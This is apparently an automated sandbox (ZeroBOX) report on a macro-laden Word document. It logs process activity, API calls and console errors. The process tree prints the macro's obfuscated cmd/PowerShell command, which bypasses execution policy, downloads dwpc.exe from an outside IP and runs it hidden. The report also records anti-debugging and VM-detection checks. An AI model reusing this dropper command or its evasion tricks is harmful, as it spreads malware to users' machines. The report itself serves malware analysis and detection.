Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	April 30, 2021, 5:55 p.m.	April 30, 2021, 6:03 p.m.

Size	34.0KB
Type	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: Windows User, Template: Normal, Last Saved By: Windows User, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Dec 16 11:19:00 2016, Last Saved Time/Date: Fri Dec 16 11:19:00 2016, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Security: 0
MD5	`ba4afb8bb89f4a8f103780c416ecdbdd`
SHA256	`922824828e9d61e9039c7c1079b44b080e771933b164f5a438a17fa2132baf25`
CRC32	`41AAC8ED`
ssdeep	`384:wBiSY5U1hrMr460jwxNlxtb8hmoQy1CdF:ybC7V2wo9E`
Yara	Contains_VBA_macro_code - Detect a MS Office document with embedded VBA macro code [binaries] Microsoft_Office_File_Zero - Microsoft Office File

WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office12\WINWORD.EXE" C:\Users\test22\AppData\Local\Temp\in6-4.doc
1116
- cmd.exe CMD.exe /C "p^ow^ErshelL^.e^Xe -^ExEcutIO^Np^OLI^CY b^YP^aSs -^no^Pr^OF^ilE -wIn^dO^W^styL^e^ HId^D^en (N^ew-ObJE^C^T SY^STEm.N^Et.^W^EBC^L^IeNt^).DoWn^LOAD^f^i^LE^('http://84.200.4.102/dwpc.exe','%apPdaTA%.exE')^;^S^TaR^t-p^RoCEss '%ApPdata%.eXE'"
  1444
  - powershell.exe powErshelL.eXe -ExEcutIONpOLICY bYPaSs -noPrOFilE -wIndOWstyLe HIdDen (New-ObJECT SYSTEm.NEt.WEBCLIeNt).DoWnLOADfiLE('http://84.200.4.102/dwpc.exe','C:\Users\test22\AppData\Roaming.exE');STaRt-pRoCEss 'C:\Users\test22\AppData\Roaming.eXE'
    596

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch
84.200.4.102	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (7 events)

Time & API	Arguments	Status	Return
GetComputerNameW April 30, 2021, 5:55 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 30, 2021, 5:55 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 30, 2021, 5:55 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 30, 2021, 5:55 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA April 30, 2021, 5:55 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 30, 2021, 5:55 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 30, 2021, 5:55 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 30, 2021, 5:55 p.m.			0	0

Command line console output was observed (18 events)

Time & API	Arguments	Status	Return
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: Exception calling "DownloadFile" with "2" argument(s): "Unable to connect to th console_handle: 0x00000023	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: e remote server" console_handle: 0x0000002f	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: At line:1 char:47 console_handle: 0x0000003b	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: + (New-ObJECT SYSTEm.NEt.WEBCLIeNt).DoWnLOADfiLE <<<< ('http://84.200.4.102/dwp console_handle: 0x00000047	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: c.exe','C:\Users\test22\AppData\Roaming.exE');STaRt-pRoCEss 'C:\Users\test22\Ap console_handle: 0x00000053	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: pData\Roaming.eXE' console_handle: 0x0000005f	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x0000006b	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x00000077	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: Start-Process : This command cannot be executed due to the error: The system ca console_handle: 0x00000097	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: nnot find the file specified. console_handle: 0x000000a3	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: At line:1 char:131 console_handle: 0x000000af	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: + (New-ObJECT SYSTEm.NEt.WEBCLIeNt).DoWnLOADfiLE('http://84.200.4.102/dwpc.exe' console_handle: 0x000000bb	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: ,'C:\Users\test22\AppData\Roaming.exE');STaRt-pRoCEss <<<< 'C:\Users\test22\Ap console_handle: 0x000000c7	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: pData\Roaming.eXE' console_handle: 0x000000d3	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: + CategoryInfo : InvalidOperation: (:) [Start-Process], InvalidOp console_handle: 0x000000df	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: erationException console_handle: 0x000000eb	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.C console_handle: 0x000000f7	1	1
WriteConsoleW April 30, 2021, 5:56 p.m.	buffer: ommands.StartProcessCommand console_handle: 0x00000103	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 53 events)

Time & API	Arguments	Status	Return
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f808 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fd88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fd88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fd88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f908 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f908 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f908 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f908 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f908 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f908 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f3c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f3c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f3c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fd88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fd88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fd88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fc88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fd88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fd88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fd88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fd88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fd88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fd88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fd88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f508 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f508 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f508 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f508 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f508 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f508 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f508 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f508 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f508 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f508 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f508 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f508 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f508 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026f508 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00270188 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:55 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00270188 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:56 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fc08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:56 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fc08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:56 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fc08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:56 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fc08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:56 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fc08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:56 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fc08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:56 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fc08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:56 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fc08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:56 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fc08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 30, 2021, 5:56 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0026fc08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 30, 2021, 5:55 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 165 events)

Time & API	Arguments	Status
NtProtectVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 1116 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x65001000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 1116 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c951000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 1116 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c954000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 1116 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c921000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 1116 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05ec0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 1116 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05ec0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 1116 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05ed0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 1116 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05ee0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 1116 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x507c1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 1114112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027d0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c2b1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c2b2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028a1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0273a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0274b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02747000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02732000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02745000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0273c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0274c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02733000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02734000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02735000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02736000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02737000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02738000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02739000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b71000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b72000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b73000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b74000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b75000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b76000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b77000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b78000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b79000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
